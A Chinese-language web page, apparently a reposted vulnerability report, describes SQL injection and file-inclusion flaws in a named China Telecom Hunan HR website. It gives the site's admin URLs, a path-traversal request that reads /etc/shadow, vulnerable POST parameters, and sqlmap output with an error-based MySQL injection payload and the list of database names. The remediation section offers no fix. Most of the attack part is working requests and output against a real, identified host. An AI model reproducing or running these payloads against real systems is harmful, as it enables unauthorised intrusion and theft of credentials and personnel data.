网站地图    收藏   

主页 > 后端 > 网站安全 >

中国电信某站SQL注入+文件包含漏洞 - 网站安全

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 中国电信某站SQL注入+文件包含漏洞后台一:http: rs hntelecom net cn HRSystem initIndex do后台二:http: rs hntelecom net cn loginadmin do?m=login漏洞类型一:文件包含:rs hntelecom net cn filedown d...

中国电信某站SQL注入+文件包含漏洞

后台一:http://rs.hntelecom.net.cn/HRSystem/initIndex.do

后台二:http://rs.hntelecom.net.cn/loginadmin.do?m=login

漏洞类型一:

文件包含:rs.hntelecom.net.cn/filedown.do?m=filedown&path=/../..//../..//../..//../..//../..//etc/shadow%00

 

看到没有,root权限的哦

漏洞类型二:

地址:rs.hntelecom.net.cn/search.do?m=search

post数据:sss=test&Submit=%cb%d1%20%cb%f7&ttt=test

地址:rs.hntelecom.net.cn/searchD.do?m=searchD

post数据:sss=test&Submit=%cb%d1%20%cb%f7&ttt=test

话说2个地址都是一样功能,搞出2个有意思吗
 

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: ttt
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: sss=1&Submit=�� ��&ttt=1' AND (SELECT 7373 FROM(SELECT COUNT(*),CONCAT(CHAR(58,114,108,100,58),(SELECT (CASE WHEN (7373=7373) THEN 1 ELSE 0 END)),CHAR(58,111,112,99,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'JyFl'='JyFl
---

available databases [4]:
[*] information_schema
[*] manpower
[*] test
[*] yiqilaifinddifferences

修复方案:

不继续深入,存在进一步渗透风险。

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论